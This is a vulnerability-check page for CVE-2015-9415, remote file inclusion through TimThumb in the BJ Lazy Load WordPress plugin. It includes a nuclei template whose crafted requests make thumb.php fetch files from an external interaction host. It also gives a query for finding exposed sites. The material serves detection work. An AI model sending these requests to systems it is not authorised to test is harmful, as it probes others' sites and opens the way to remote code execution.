BJ Lazy Load (Timthumb) <= 0.7.5 - Remote File Inclusion

highseverity

7.5CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

The BJ Lazy Load plugin v0.7.5 for WordPress has a Remote File Inclusion vulnerability via TimThumb.

Impact

Attackers can include and execute remote malicious files, potentially leading to remote code execution and complete site compromise.

Fix

Fixed in 1.0

How to confirm it

Send: GET /wp-content/plugins/bj-lazy-load/thumb.php?src=http://{{interactsh-url}}/{{rand_base(16)}}.jpg
Positive when: status_code == 400 and contains(body, "TimThumb Error") and contains(interactsh_protocol, "http")
Send: GET /wp-content/plugins/bj-lazy-load/thumb.php?src=http://img.youtube.com/{{rand_base(16)}}.jpg
Positive when: status_code == 200 and contains(body, "gd-jpeg") and contains(content_type, "image/jpeg")

Run it with nuclei: nuclei -id CVE-2015-9415 -u <target>

The full check

id: CVE-2015-9415

info:
  name: BJ Lazy Load (Timthumb) <= 0.7.5 - Remote File Inclusion
  author: s4e-io
  severity: high
  description: |
    The BJ Lazy Load plugin v0.7.5 for WordPress has a Remote File Inclusion vulnerability via TimThumb.
  impact: |
    Attackers can include and execute remote malicious files, potentially leading to remote code execution and complete site compromise.
  remediation: Fixed in 1.0
  reference:
    - https://wpscan.com/vulnerability/c15aef94-822d-40eb-80a6-e4a0611cb5c1/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/bj-lazy-load/bj-lazy-load-10-remote-file-inclusion-via-timthumb
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-9415
    cwe-id: CWE-20
    epss-score: 0.03911
    epss-percentile: 0.90384
    cpe: cpe:2.3:a:angrycreative:bj_lazy_load:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: angrycreative
    product: bj_lazy_load
    framework: wordpress
    fofa-query: body="/wp-content/plugins/bj-lazy-load"
  tags: cve,cve2015,wp,wp-plugin,wordpress,wpscan,bj-lazy-load,rfi,vkev,vuln

flow: http(1) || http(2)

http:
  - raw:
      - | #if set true in bj-lazy-load/inc/timthumb.php ALLOW_ALL_EXTERNAL_SITES option
        GET /wp-content/plugins/bj-lazy-load/thumb.php?src=http://{{interactsh-url}}/{{rand_base(16)}}.jpg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "TimThumb Error")'
          - 'contains(interactsh_protocol, "http")'
        condition: and

  - raw:
      - | #default plugin settings
        GET /wp-content/plugins/bj-lazy-load/thumb.php?src=http://img.youtube.com/{{rand_base(16)}}.jpg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "gd-jpeg")'
          - 'contains(content_type, "image/jpeg")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from